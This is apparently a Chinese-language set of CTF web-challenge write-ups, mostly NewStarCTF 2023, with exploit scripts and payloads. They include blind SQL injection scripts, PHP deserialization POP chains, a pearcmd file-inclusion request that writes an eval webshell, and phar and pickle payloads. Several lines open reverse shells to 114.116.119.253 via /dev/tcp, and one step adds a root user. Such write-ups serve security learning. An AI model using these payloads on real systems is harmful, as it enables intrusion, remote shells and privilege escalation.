NewstarCTF

ErrorFlask

jinja2模板(bushi)

只要给number1和number2一串字符即可得到flag

得到flag

Begin of HTTP

http请求头伪造

Begin of Upload

修改文件后缀名为png再用burpsuite抓包,修改回php后缀,访问上传目录

页面出现文件头GIF89a,木马上传成功,不知道为什么连不上蚁剑,我直接就用hackbar了

泄露的秘密

信息泄露题,扫描网站,得到www.zip,访问,得到两个文件,每个文件各有一半的flag

Begin of PHP

这里strcmp有一个bug就是如果比较的是数组的话，还是会返回一个0。

<?php
  error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
  echo "=Level 1=<br>";
  if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
    $flag1 = True;
  }else{
    die("nope,this is level 1");
  }
}

if($flag1){
  echo "=Level 2=<br>";
  if(isset($_POST['key3'])){
    if(md5($_POST['key3']) === sha1($_POST['key3'])){
      $flag2 = True;
    }
  }else{
    die("nope,this is level 2");
  }
}

if($flag2){
  echo "=Level 3=<br>";
  if(isset($_GET['key4'])){
    if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
      $flag3 = True;
    }else{
      die("nope,this is level 3");
    }
  }
}

if($flag3){
  echo "=Level 4=<br>";
  if(isset($_GET['key5'])){
    if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
      $flag4 = True;
    }else{
      die("nope,this is level 4");
    }
  }
}

if($flag4){
  echo "=Level 5=<br>";
  extract($_POST);
  foreach($_POST as $var){
    if(preg_match("/[a-zA-Z0-9]/",$var)){
      die("nope,this is level 5");
    }
  }
  if($flag5){
    echo file_get_contents("/flag");
  }else{
    die("nope,this is level 5");
  }
}

就是一步步的数据处理

R!C!E!

rce

EasyLogin

1
2
3

echo -en '\nnewstar\nnewstar2023' >> weak-passwd.txt && \
> export PASSWORD=`shuf weak-passwd.txt | head -n 1` && \
> rm -rf weak-passwd.txt

弱口令密码爆破,获得admin密码为000000

好吧,没关系,flag在跳转页面的抓包里面

游戏高手

首先查看页面原代码,Ctrl+f查找alert函数

题目要求score要大于十万分,js代码如下,再控制台执行

得到flag

.htaccess上传后上传对应的jpg文件用段标签的木马绕过检测

蚁剑链接,在根目录下得到flag

ez_sql

SQL大写绕过

payload:?id=1' union SELECT 1,group_concat(flag),3,4,5 FROM here_is_flag-- -

includeO.O

给了flag的位置,首先想到了伪协议,题目ban掉了base编码,恰好之前有收集过这类payload

最后payload=?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

Unserialize？

exp如下,简单的反序列化,首先$cmd=ls /,在根目录下找到flag,由于tac和cat都被ban了,所以换成nl命令

class evil
{
    private $cmd="nl /th1s_1s_fffflllll4444aaaggggg";

    public function __destruct()
    {
        if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) {
            @system($this->cmd);
        }
    }
}

$a=new evil();
echo urlencode(serialize($a));

Upload again!

首先尝试上传.htaccess文件,上传成功,那么我么们只需要再上传配套文件名的木马,链接蚁剑即可

上传木马

访问

上传成功,链接蚁剑

R!!C!!E!!

使用扫描,

为git源码泄露,利用GitHack工具找到漏洞,

使用时要把梯子关了

将内容下载下来,发现关键,访问

无参数REC

试了几个,然后发现可以利用请求头进行RCE,使用burp抓包

medium_sql

判断注入类型,各种绕过姿势都试了一遍,最后猜测是盲注

import requests
url='http://1d85df1b-e3a4-47fb-91ab-d7342127dcce.node4.buuoj.cn:81/?id='
res=''#结果
i=0
while True:
    min = 32
    max = 127
    i+=1
    while min < max:
        mid = (min + max) // 2
        payload = f"1' OR IF(ORD(SUBSTR((SELECT flag FROM here_is_flag),{i},1))>{mid},1,0)-- -"
        # print(payload)
        r = requests.get(url + payload)  # 发送请求
        context = r.text  # 结果
        if "TMP0919" in context:
            min = mid + 1
        else:
            max = mid
    res += chr(min)
    print(res)

POP Gadget

题目原代码

<?php
  highlight_file(__FILE__);

class Begin{
  public $name;

  public function __destruct()
  {
    if(preg_match("/[a-zA-Z0-9]/",$this->name)){
      echo "Hello";
    }else{
      echo "Welcome to NewStarCTF 2023!";
    }
  }
}

class Then{
  private $func;

  public function __toString()
  {
    ($this->func)();
    return "Good Job!";
  }

}

class Handle{
  protected $obj;

  public function __call($func, $vars)
  {
    $this->obj->end();
  }

}

class Super{
  protected $obj;
  public function __invoke()
  {
    $this->obj->getStr();
  }

  public function end()
  {
    die("==GAME OVER==");
  }
}

class CTF{
  public $handle;

  public function end()
  {
    unset($this->handle->log);
  }

}

class WhiteGod{
  public $func;
  public $var;

  public function __unset($var)
  {
    ($this->func)($this->var);    
  }
}

@unserialize($_POST['pop']);

/*
 * begin->distruct
 * Then->tostring
 * super->invoke
 * handle->call
 * CTF->end
 * WhiteGod->unset
 */

<?php

class Begin{
    public $name;
    public function __construct()
    {
        $this->name=new Then();
    }
}
class Then{
    private $func;//是一个对象

    public function __construct()
    {
        $this->func=new Super();
    }

}

class Handle{
    protected $obj;
    public function __construct()
    {
        $this->obj=new CTF();
    }

}

class Super{
    protected $obj;

    public function __construct()
    {
        $this->obj=new Handle();
    }
}

class CTF{
    public $handle;
    public function __construct()
    {
        $this->handle=new WhiteGod();
    }

}

class WhiteGod{
    public $func='system';
    public $var='tac /flag';
    public function __construct()
    {

    }
}
$a=new Begin();
echo urlencode(serialize($a));

私有属性的构造

可以利用construct属性进行实例化

include🍐

检查了一下发现是打开的,检索一下

裸文件包含

GenShin

SSTI 被过滤的名单:{{ ‘参数’ ‘’ init =号

下面这个payload算是跳关了

R!!!C!!!E!!!

源码

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

无回显命令执行

利用|,前一个输出作为后面的输入

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
}
$a=new minipop();
$a->qwejaskdjnlka=new minipop();
$a->qwejaskdjnlka->code ="cat /flag_is_h3eeere|script res";//首先是ls /|script res,知道flag的位置

echo serialize($a);

或者利用脚本进行截取

import time

import requests
url="http://47e728dc-30c7-4403-8b3d-c43d9bfe0cc0.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
    for j in range(1,50):
        #ascii码表
        for k in range(32,127):
            k=chr(k)
            payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length=len(payload)
            payload2 ={
                "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
            }
            t1=time.time()
            r=requests.post(url=url,data=payload2)
            t2=time.time()
            if t2-t1 >1.5:
                result+=k
                print(result)
    result += " "

More Fast

反序列化

exp为:

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);//___tostring
    }
}

class Pwn{
    public $obj;
    public function __invoke(){//当一个对象被当成方法(函数)调用的时候触发
        $this->obj->evil();//web->evil
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {//触发invoke
        ($this->func)();//当访问一个私有属性,不存在属性时触发
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;//触发get
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func="system";
$a->errMsg->obj->func->obj->var="tac /f*";

echo serialize($a);//没有不可见字符就没有url编码

类似于wakeup绕过

throw new Exception(“Nope”);绕过,更改成员数即可

通配符绕过

upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

字符串逃逸

我们需要写入";s:3:"cmd";s:4:"ls /";},共24个字符,每一个bad会逃逸出一个字符,所以我们一共需要24个bad,

payload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

接着把";s:3:"cmd";s:9:"tac /flag";}逃逸进去即可得到flag

payload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"tac /flag";}

Unserialize Agiain!

生成phar文件

<?php
//highlight_file(__FILE__);
//error_reporting(0);
class story{
    private $user='admin';
    public $pass;
    public $eating='bash -c "bash -i >& /dev/tcp/114.116.119.253/9999 <&1"';
    public $God='true';
}
$Eden=new story();
$phar = new Phar("poc.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$Eden-> data='hu3sky'; //自定义
$phar->setMetadata($Eden); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

//var_dump(file_get_contents("phar://phar3.phar"));

重签名

import gzip
from hashlib import sha1
with open('poc.phar', 'rb') as file:
    f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'5:{', b'6:{')#更换属性值，绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
with open('poc2.phar', 'wb') as file:#更改文件后缀
    file.write(newf)

生成URL编码

import urllib.parse

# 读取文件内容
file_path = 'poc2.phar'  # 替换为您的文件路径
with open(file_path, 'rb') as file:
    file_content = file.read()

# 执行URL编码
url_encoded_content = urllib.parse.quote(file_content)

# 打印编码后的内容
print(url_encoded_content)

复盘

一眼看出index.php有文件包含漏洞

<?php require_once 'inc/header.php'; ?>
<?php require_once 'inc/sidebar.php'; ?>

  <!-- Content Wrapper. Contains page content -->

  <?php 
        if (isset($_GET['page'])) {
          $page ='pages/' .$_GET['page'].'.php';

        }else{
          $page = 'pages/dashboard.php';
        }
        if (file_exists($page)) {
          require_once $page; 
        }else{
          require_once 'pages/error_page.php';
        }
 ?>
  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->

 <?php require_once 'inc/footer.php'; ?>

GET /index.php?+config-create+/&page=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/谷氨酸棒状杆菌.php HTTP/1.1
Host: 082ffd94-a6f7-49c7-96b2-da21a5834012.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

轻轻松松拿下一血

真的简简单单

蚁剑上号提权

Final

Thinkphp5.0.23 命令执行漏洞

getshell后使用cp提权

创建了root用户hack hack123

1	sh -c "sleep 1; echo hack123" \| script -qc 'su -c "bash -i >& /dev/tcp/114.116.119.253/7778 <&1" - hack'

flag{516b8c6b-5b66-4e4d-90e9-67b81b4d4db0}

Ye’s Pickle

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
    payload=request.args.get("token")
    if payload:
        token=verify_jwt(payload, key, ['PS256'])
        session["role"]=token[1]['role']
        return render_template('index.html')
    else:
        session["role"]="guest"
        user={"username":"boogipop","role":"guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():o
    if session["role"]=="admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return render_template("index.html")
    else:
        return render_template("index.html")
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

伪造Session为role=admin
pickle反序列化getshell

session伪造

import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
import pickle
def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

print(topic("eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg1NjkxNzksImlhdCI6MTY5ODU2NTU3OSwianRpIjoidjJiTnJvSVJxcUZ2c3E0ZmZOcWhVQSIsIm5iZiI6MTY5ODU2NTU3OSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.JKk5L0eEm9L1n7YLWdQ8OpWTIwqigz_wx-74gsXJc6WIbOytGW2IXKJaENd2m-ac6JPHSbspB755E6hYh1CuLKC9r90k2QbsmS2ALrplc-HQZljX6K_JBuxs2lPiAfByr2ktq02YkgfSCsdYERDg5eU1kMFEkBZ0RPn1raBpKtrOr865qs_FiYKlKsZ9heoPNU8B8qTjiQjnHdYMlXO0gfZeF1Mbe13UW35G9D23UPSn9jeB59taf40M39wkzUKFvt3_HOYnbeu02FGkliKVtwjSO-Ie4XM5vq1skSv4q-lgGlbEcfMhJG3AhzemZo2YxNYDKJlmOEkBIhdG6BuJtQ"))
opcode=b'''cos
system
(S''
tRcos
system
(S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
tR.'''
print(base64.b64encode(opcode))

伪造session进入pickle路由

Pickle反序列化

结束

ez_ssrf

考点:SSRF

根据题目提示进入index.php页面，题目提示为ssrf，漏洞扫描后可知存在falg.php文件

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

$fp = fsockopen(“www.w3schools.com“, 80, $errno, $errstr, 20);

fsockopen（）函数打开 Internet 或 Unix 域套接字连接。

fwrite（)把data的内容写进$fp

Connection 头（header）决定当前的事务完成后，是否会关闭网络连接

payload:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

[MoeCTF 2022]ezphp

递归调用

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

?b=flag&flag=b

[FSCTF 2023]细狗2.0

直接输入ls无反应，输入;ls，有回显，猜测flag在根目录，尝试rce，cat /flag,尝试后发现过滤了cat空格和flag，使用\绕过关键字，空格使用${IFS}，flag用f*，得到flag

[CISCN 2019初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

利用进制转换实现命令执行，通过变量传递实现。

由此我们需要构造出c=($_GET[a])($_GET[b])的形式，由于GET是大写，无法直接用36进制和十进制的转换，我们借助hex2bin函数把十六进制转化为ASCII码

从题目给的网站可以知道

base_convert()可以实现任意进制间转换base_convert(数字，原进制，转进制)
dechex()十进制转化为十六进制，由此可构造出——GET

即base_convert(十进制转36，构造出hex2bin)dechex(构造出_GET)

$pi=base_convert(37907361743,10,36)(dechex(1598506324)）

之后按照上文所述构造payload即可

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat /flag

来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/ntvpgk8s6dog9vzc
语雀文档ID: 140841670